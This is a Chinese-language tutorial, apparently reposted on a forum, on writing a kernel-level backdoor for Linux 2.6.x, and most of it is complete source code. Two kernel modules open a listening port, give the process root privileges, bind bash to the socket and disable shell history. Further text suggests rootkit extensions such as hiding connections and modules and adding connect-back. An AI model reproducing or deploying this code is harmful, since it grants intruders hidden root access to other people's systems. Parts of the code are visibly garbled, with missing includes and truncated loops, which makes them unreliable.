抒写Linux 2.6.x下内核级后门程序

2009-12-20 13:24| 发布者: admin| 查看: 21| 评论: 0|原作者: 潇潇雨

Normal
0

7.8 磅
0
2

false
false
false

MicrosoftInternetExplorer4

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:"Times New Roman";
mso-ansi-language:#0400;
mso-fareast-language:#0400;
mso-bidi-language:#0400;}
Author: wzt
EMail: wzt@xsec.org
Site: http://www.xsec.org
Date: 2008-8-29

一. 内核后门简介
二. 内核中系统调用
三. 使用kernel mode socket函数
四. 如何扩展后门
五. 参考资料
六. 相关源代码

一. 内核后门简介

所谓内核后门，当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽，性质跟ring3下的后门一样，只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能，有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强大的'root-kit'.
本文只介绍2种实现内核后门的基本方法，如果您有更好的方法，还请多多指教。

二. 内核中系统调用

Unix世界中一切皆文件的思想将socket通信变的简单的多，通常我们直接可以用read，write等api函数作为socket通信的方法，这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数，如：

int
my_read(int fd, char * buf, off_t count)
{
long
__res;

__asm__
volatile ("push %離; int $0x80; pop %離"

: "=a"
(__res)

:"0"(__NR_read), "ri" ((long)(fd), "c"((long)(buf),
"d"
((long)(count)) :"memory");

return (int)(__res);
}

这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号，ebx，ecx，edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能，就必须调用某些函数来进行socket通信。
本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。

通过上面的例子，我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中，这样在内核空间执行系统调用感觉效率会很低，但是对我们来说，编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。

linux内核提供了很多个不同的系统调用，我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏：

#define
my__syscall_return(type, res) \
do { \
if
((unsigned long)(res) >= (unsigned long)(-(128 1))) { \
errno =
-(res); \
res =
-1; \
} \
return
(type) (res); \
} while (0)

#define
my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type
name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res;
\
__asm__
volatile ("push %離 ; int $0x80 ; pop %離" \
:
"=a" (__res) \
:
"0" (__NR_##name),"ri" ((long)(arg1)),"c"
((long)(arg2)), \

"d" ((long)(arg3)) : "memory"); \

my__syscall_return(type,__res); \
}

my_syscall3代表这个系统调用有3个参数，以read系统调用为例，我们可以在内核空间中这样使用它：
static
inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);

编译的时候就会被展开成:

int read(int
fd, char * buf, off_t count) \
{ \
long
__res; \

__asm__
volatile ("push %離; int $0x80; pop %離"\

: "=a"
(__res) \
: "0"
(__NR_read), "ri" ((long)(fd), "c"((long)(buf), \
"d"
((long)(count)) :"memory"); \

return (int)(__res);\
}

本文后面将会给出比较全面的宏，通过这些宏，可以在内核中随意的使用系统调用。

好了，现在可以使用read, write, select等系统调用在内核空间收发信息了。但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢？其实这些socket函数都是通过执行sys_socketall系统调用来实现的：

linux-2.6.18/net/socket.c

asmlinkage
long sys_socketcall(int call, unsigned long __user *args)
{
unsigned
long a[6];
unsigned
long a0,a1;
int err;

...

a0=a[0];
a1=a[1];

switch(call)
{

case SYS_SOCKET:

err = sys_socket(a0,a1,a[2]);
break;

case SYS_BIND:

err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);

break;

case SYS_CONNECT:

err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);

break;

case SYS_LISTEN:

err = sys_listen(a0,a1);

break;

case SYS_SOCKETPAIR:

err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);

break;

case SYS_SEND:

err = sys_send(a0, (void __user *)a1, a[2], a[3]);

break;
...
}

通过向sys_socketcall函数2个参数来执行具体的函数调用，参数call一般为SYS_SOCKET, SYS_BIND等，args是一个数组，通过向这个数组的每个元素赋值，来调用不同的函数。以bind这个函数为例，可以这样调用：

struct
sockaddr_in cli_addr;
unsigned
long args[];

args[0] =
sock_fd;
args[1] =
(unsigned long)cli_addr;
args[2] =
(unsigned long)sizeof(struct sockaddr_in);

sys_socketcall(SYS_BIND, args);

其他函数类似。这样就可以在内核中来使用这些socket函数了。

下面给出一个具体的监听某一个端口的例子：
int k_listen(int port)
{
struct
task_struct *tsk = current;
struct
sockaddr_in serv_addr;
struct sockaddr_in
cli_addr;
mm_segment_t
old_fs;
char
buff[100];

unsigned long
arg[3];
int sock_fd,
sock_id;
int tmp_kid;
int i, n,
cli_len;

old_fs =
get_fs();

tsk->uid =
0;
tsk->euid
= 0;
tsk->gid =
SGID;
tsk->egid
= 0;

/* create socket
*/
arg[0] =
AF_INET;
arg[1] =
SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i
close(i);

if ((sock_fd
= socketcall(SYS_SOCKET, arg)) == -1) {
set_fs(old_fs);

return 0;
}
printk("create
socket ok.\n");

/* bind
address */
memset((void
*) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family
= AF_INET;
serv_addr.sin_port
= htons(port);
serv_addr.sin_addr.s_addr
= 0;

arg[0] =
sock_fd;
arg[1] =
(unsigned long) &serv_addr;
arg[2] =
(unsigned long) sizeof(serv_addr);

if
((socketcall(SYS_BIND, arg)) == -1) {
close(sock_fd);

set_fs(old_fs);

return 0;
}
printk("bind
address ok.\n");

/* begin
listen */
arg[0] =
sock_fd;
arg[1] =
(unsigned long) 255;

if
((socketcall(SYS_LISTEN, arg)) == -1) {

close(sock_fd);

set_fs(old_fs);

return 0;
}
printk("listen
on port %d\n", port);

cli_len =
sizeof(cli_addr);
arg[0] =
sock_fd;
arg[1] =
(unsigned long) &cli_addr;
arg[2] =
(unsigned long) &cli_len;

if
((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
printk("accept
error.\n");

close(sock_fd);

set_fs(old_fs);

return 0;
}
printk("accept
a client.\n");

dup2(sock_id,
0);
dup2(sock_id,
1);
dup2(sock_id,
2);

execve(earg[0],
(const char **) earg, (const char **) env);

close(sock_id);
close(sock_fd);
set_fs(old_fs);

return 1;
}

三．使用kernel mode socket函数

前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的，同样在linux-2.6.18/net/socket.c中：

在user
mode socket中的socket函数的功能是建立个套接字，它是调用sys_socket函数来实现的，因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的：

asmlinkage
long sys_socket(int family, int type, int protocol)
{
int
retval;
struct
socket *sock;

retval =
sock_create(family, type, protocol, &sock);
if
(retval

goto out;

retval =
sock_map_fd(sock);
if
(retval

goto out_release;

out:

return
retval;

out_release:
sock_release(sock);
return
retval;
}

关键就2个函数，sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。有兴趣的读者可以继续深入这些函数，看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于sys_bind,
sys_listen等，我们用同样的办法来处理。有了源代码，看它们怎么实现，我们就怎么实现。

下面给出一个监听某端口的例子：

int k_listen(void)
{
struct
socket *sock,*newsock;
struct
sockaddr_in server;
struct
sockaddr client[128];
char
address[128];
int sockfd,
sockid, i,size = 0;
int
error = 0,len = sizeof(struct sockaddr);

//set_fs(KERNEL_DS);

error =
sock_create(AF_INET,SOCK_STREAM,0,&sock);
if
(error

printk("[-] socket_create failed: %d\n",error);

sock_release(sock);

return -1;
}

sockfd =
sock_map_fd(sock);
if (sockfd
printk("[-]
sock_map_fd() failed.\n");
sock_release(sock);
return
-1;
}

for (i = 0; i
server.sin_zero
= 0;

server.sin_family
= PF_INET;
server.sin_addr.s_addr
= INADDR_ANY;
server.sin_port
= htons(port);

error =
security_socket_bind(sock,(struct sockaddr *)&server,len);
if (!error) {
error =
sock->ops->bind(sock,(struct sockaddr *)&server,len);

if (error
printk("[-]
unix_bind() failed.\n");
sock_release(sock);
return
-1;
}

}

error =
sock->ops->listen(sock,5);
if (error
printk("[-]
unix_listen failed.\n");
sock_release(sock);
return
-1;
}
printk("[ ]
listen port %d ok.\n",port);

if (!(newsock
= sock_alloc())) {
printk("[-]
sock_alloc() failed.\n");
sock_release(sock);
return
-1;
}

newsock->type
= sock->type;
newsock->ops
= sock->ops;

printk("[ ]
waiting for a client.\n");

if
(newsock->ops->accept) {
error =
security_socket_accept(sock,newsock);
if (error
goto
out_release;

if
((error = newsock->ops->accept(sock,newsock,sock->file->f_flags))
== -ERESTARTSYS) {
printk("[-]
accept got a signal.\n");
goto
out_release;
}
else if
(error
printk("[-]
unix_accept failed.\n");
goto
out_release;
}

if
(newsock->ops->getname(newsock,client,&len,1)
goto
out_release;

security_socket_post_accept(sock,newsock);

sockid =
sock_map_fd(newsock);
if
(sockid

printk("[-] sock_map_fd() failed.\n");

sock_release(newsock);

return -1;
}

printk("[ ]
accept a client.\n");

kshell(sockid);
}

return
1;

out_release:
sock_release(sock);
sock_release(newsock);

return 0;
}

四. 如何扩展后门

如果费这么大力气在内核中就实现了这么简单的功能，还不如在用户空间实现。
问题关键是我们现在在内核中，只要对内核有足够的了解，还有什么不能实现的呢？
内核源码在手，能做什么,就看你的想象力了。首先是加上一些常用的rookit技巧，如隐藏网络连接，hack下tcp4_seq_show就行了，隐藏模块list_del一下就行了。为了控制方便，加个pty支持吧。再牛的搞个端口复用吧。想嗅探启动吗？用netfilter过滤下就行了。

下面说说编写更高级后门时需要注意的一些地方：

1. 现在你在内核中，就要考虑并发和竞态的问题，给临界区加个锁或信号量是不错的选择。

2. 如果你想做一个定时回连的后门，请不要使用内核定时器。
它的执行函数是在原子方式下执行的，也就是这个时候你不能去访问用户空间的东西，如果引起了休眠，内核可能就oops了。你可以使用schedule_timeout()让当前模块休息几秒，当调度程序把它调度回来的时候在尝试一次回连的操作，就不会有问题了。

五. 参考资料

　　[1] Linux kernel source code
　　 http://www.kernel.org
　　
　　[2] sk1.3-b source code – sd
　　http://sd.g-art.nl/sk
　　
　　[3] enyelkm 1.2 - RaiSe && David Reguera
　　http://www.enye-sec.org
　　
　　[4] wnps-2.26 – wzt
　　http://hi.baidu.com/wzt85

六. 相关源代码

Syscalls.h

/* macros de syscalls */

int errno;

#define my__syscall_return(type, res) \
do { \
if
((unsigned long)(res) >= (unsigned long)(-(128 1))) { \
errno =
-(res); \
res =
-1; \
} \
return
(type) (res); \
} while (0)

/* XXX - _foo needs to be __foo, while __NR_bar could
be _NR_bar. */
#define my_syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
:
"=a" (__res) \
:
"0" (__NR_##name)); \
my__syscall_return(type,__res); \
}

#define my_syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("push %離 ; movl %2,%離 ;
int $0x80 ; pop %離" \
:
"=a" (__res) \
:
"0" (__NR_##name),"ri" ((long)(arg1)) :
"memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("push %離 ; movl %2,%離 ;
int $0x80 ; pop %離" \
:
"=a" (__res) \
:
"0" (__NR_##name),"ri" ((long)(arg1)),"c"
((long)(arg2)) \
:
"memory"); \
my__syscall_return(type,__res); \
}

#define
my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("push %離 ; movl %2,%離 ;
int $0x80 ; pop %離" \
:
"=a" (__res) \
:
"0" (__NR_##name),"ri" ((long)(arg1)),"c"
((long)(arg2)), \

"d" ((long)(arg3)) : "memory"); \
my__syscall_return(type,__res); \
}

#define
my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4
arg4) \
{ \
long __res; \
__asm__ volatile ("push %離 ; movl %2,%離 ;
int $0x80 ; pop %離" \
:
"=a" (__res) \
:
"0" (__NR_##name),"ri" ((long)(arg1)),"c"
((long)(arg2)), \

"d" ((long)(arg3)),"S" ((long)(arg4)) :
"memory"); \
my__syscall_return(type,__res); \
}

#define
my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \

type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4
arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("push %離 ; movl %2,%離 ;
movl %1,%陎 ; " \

"int $0x80 ; pop %離" \
:
"=a" (__res) \
:
"i" (__NR_##name),"ri" ((long)(arg1)),"c"
((long)(arg2)), \

"d" ((long)(arg3)),"S" ((long)(arg4)),"D"
((long)(arg5)) \
:
"memory"); \
my__syscall_return(type,__res); \
}

Kshell.c

/*
* kenel mode
socket door v0.1
*
* by wzt
http://www.xsec.org
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "syscalls.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define __NR_e_exit __NR_exit

#define SGID
0x489196ab
#define HOME "/"

static char *earg[4] = { "/bin/bash",
"--noprofile", "--norc", NULL };

char *env[]={
"TERM=linux",

"HOME=" HOME,

"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"

":/usr/local/sbin",

"HISTFILE=/dev/null",
NULL };

static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int,
sig);
static inline my_syscall1(int, chdir, const char *,
path);
static inline my_syscall1(long, ssetmask, int,
newmask);
static inline my_syscall3(int, write, int, fd, const
char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *,
buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *,
file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int,
newfd);
static inline my_syscall2(int, socketcall, int, call,
unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid,
int *, status, int, options);
static inline my_syscall3(int, execve, const char *,
filename,
const char
**, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int,
fd, unsigned int, cmd,
unsigned
long, arg);
static inline my_syscall5(int, _newselect, int, n,
fd_set *, readfds, fd_set *,
writefds,
fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int,
sig,
__sighandler_t,
handler);

/**
* the code copy
from adore-ng
*/
int wnps_atoi(const char *str)
{
int ret
= 0, mul = 1;
const
char *ptr;

for (ptr
= str; *ptr >= '0' && *ptr

;
ptr--;
while
(ptr >= str) {

if (*ptr '9')

break;
ret
= (*ptr - '0') * mul;

mul *= 10;

ptr--;
}
return
ret;
}

/**
* in_aton -
change str to ipv4 address.
*
* see
net/core/utils.c
*/
__u32 wnps_in_aton(const char *str)
{
unsigned
long l;
unsigned
int val;
int i;

l = 0;
for (i =
0; i

l

if (*str != '\0') {

val = 0;

while (*str != '\0' && *str != '.') {
val *= 10;
val = *str -
'0';
str ;

}

l |= val;

if (*str != '\0')
str ;

}
}

return(htonl(l));
}

int k_listen(int port)
{
struct
task_struct *tsk = current;
struct
sockaddr_in serv_addr;
struct
sockaddr_in cli_addr;
mm_segment_t
old_fs;
char buff[100];

unsigned long
arg[3];
int sock_fd,
sock_id;
int tmp_kid;
int i, n,
cli_len;

old_fs =
get_fs();

tsk->uid =
0;
tsk->euid
= 0;
tsk->gid =
SGID;
tsk->egid
= 0;

/* create
socket */
arg[0] =
AF_INET;
arg[1] =
SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i
close(i);

if ((sock_fd
= socketcall(SYS_SOCKET, arg)) == -1) {
set_fs(old_fs);

return 0;
}
printk("create
socket ok.\n");

/* bind
address */
memset((void
*) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family
= AF_INET;
serv_addr.sin_port
= htons(port);
serv_addr.sin_addr.s_addr
= 0;

arg[0] =
sock_fd;
arg[1] =
(unsigned long) &serv_addr;
arg[2] =
(unsigned long) sizeof(serv_addr);

if
((socketcall(SYS_BIND, arg)) == -1) {
close(sock_fd);

set_fs(old_fs);

return 0;
}
printk("bind
address ok.\n");

/* begin
listen */
arg[0] =
sock_fd;
arg[1] =
(unsigned long) 255;

if
((socketcall(SYS_LISTEN, arg)) == -1) {

close(sock_fd);

set_fs(old_fs);

return 0;
}
printk("listen
on port %d\n", port);

cli_len =
sizeof(cli_addr);
arg[0] =
sock_fd;
arg[1] =
(unsigned long) &cli_addr;
arg[2] =
(unsigned long) &cli_len;

if
((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
printk("accept
error.\n");

close(sock_fd);

set_fs(old_fs);

return 0;
}
printk("accept
a client.\n");

dup2(sock_id,
0);
dup2(sock_id,
1);
dup2(sock_id,
2);

execve(earg[0],
(const char **) earg, (const char **) env);

close(sock_id);
close(sock_fd);
set_fs(old_fs);

return 1;
}

static int ksocket_init(void)
{
printk("ksocket
start.\n");

k_listen(22);
}

static void ksocket_exit(void)
{
printk("ksocket
exit.\n");

}

module_init(ksocket_init);
module_exit(ksocket_exit);

Kshell1.c

/*
* kenel mode
socket door v0.1
*
* by wzt
http://www.xsec.org
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "syscalls.h"

#define port
8800
#define LEN
256

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define SGID
0x489196ab
#define HOME
"/"

static char *earg[4] = { "/bin/bash",
"--noprofile", "--norc", NULL };

char *env[]={

"TERM=linux",

"HOME=" HOME,

"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"

":/usr/local/sbin",

"HISTFILE=/dev/null",
NULL };

static inline my_syscall2(int, dup2, int, oldfd, int,
newfd);
static inline my_syscall3(int, execve, const char *,
filename,
const
char **, argv, const char **, envp);

int kshell(int sock_fd)
{
struct
task_struct *tsk = current;

mm_segment_t old_fs;

old_fs =
get_fs();
set_fs(KERNEL_DS);

tsk->uid = 0;

tsk->euid = 0;

tsk->gid = SGID;
tsk->egid
= 0;

dup2(sock_fd,
0);
dup2(sock_fd,
1);
dup2(sock_fd,
2);

execve(earg[0], (const char **) earg, (const char **) env);

set_fs(old_fs);

return 1;
}

int k_listen(void)
{
struct
socket *sock,*newsock;
struct
sockaddr_in server;
struct
sockaddr client[128];
char
address[128];
int sockfd,
sockid, i,size = 0;
int
error = 0,len = sizeof(struct sockaddr);

//set_fs(KERNEL_DS);

error =
sock_create(AF_INET,SOCK_STREAM,0,&sock);
if
(error

printk("[-] socket_create failed: %d\n",error);

sock_release(sock);

return -1;
}

sockfd =
sock_map_fd(sock);
if (sockfd
printk("[-]
sock_map_fd() failed.\n");
sock_release(sock);
return
-1;
}

for (i = 0; i
server.sin_zero
= 0;

server.sin_family
= PF_INET;
server.sin_addr.s_addr
= INADDR_ANY;
server.sin_port
= htons(port);

error = security_socket_bind(sock,(struct
sockaddr *)&server,len);
if (!error) {
error =
sock->ops->bind(sock,(struct sockaddr *)&server,len);

if (error
printk("[-]
unix_bind() failed.\n");
sock_release(sock);
return
-1;
}

}

error =
sock->ops->listen(sock,5);
if (error
printk("[-]
unix_listen failed.\n");
sock_release(sock);
return
-1;
}
printk("[ ]
listen port %d ok.\n",port);

if (!(newsock
= sock_alloc())) {
printk("[-]
sock_alloc() failed.\n");
sock_release(sock);
return
-1;
}

newsock->type
= sock->type;
newsock->ops
= sock->ops;

printk("[ ]
waiting for a client.\n");

if
(newsock->ops->accept) {
error =
security_socket_accept(sock,newsock);
if (error
goto out_release;

if
((error = newsock->ops->accept(sock,newsock,sock->file->f_flags))
== -ERESTARTSYS) {
printk("[-]
accept got a signal.\n");
goto
out_release;
}
else if
(error
printk("[-]
unix_accept failed.\n");
goto
out_release;
}

if
(newsock->ops->getname(newsock,client,&len,1)
goto
out_release;

security_socket_post_accept(sock,newsock);

sockid =
sock_map_fd(newsock);
if
(sockid

printk("[-] sock_map_fd() failed.\n");

sock_release(newsock);

return -1;
}

printk("[ ]
accept a client.\n");

kshell(sockid);
}

return
1;

out_release:
sock_release(sock);
sock_release(newsock);

return 0;
}

int k_socket_init(void)
{

printk("[ ] kernel socket test start.\n");

k_listen();
}

void k_socket_exit(void)
{

printk("[ ] kernel socket test over.\n");
}

module_init(k_socket_init);
module_exit(k_socket_exit);

收藏分享邀请

		自动登录	找回密码
密码			注册

抒写Linux 2.6.x下内核级后门程序

最新评论

相关分类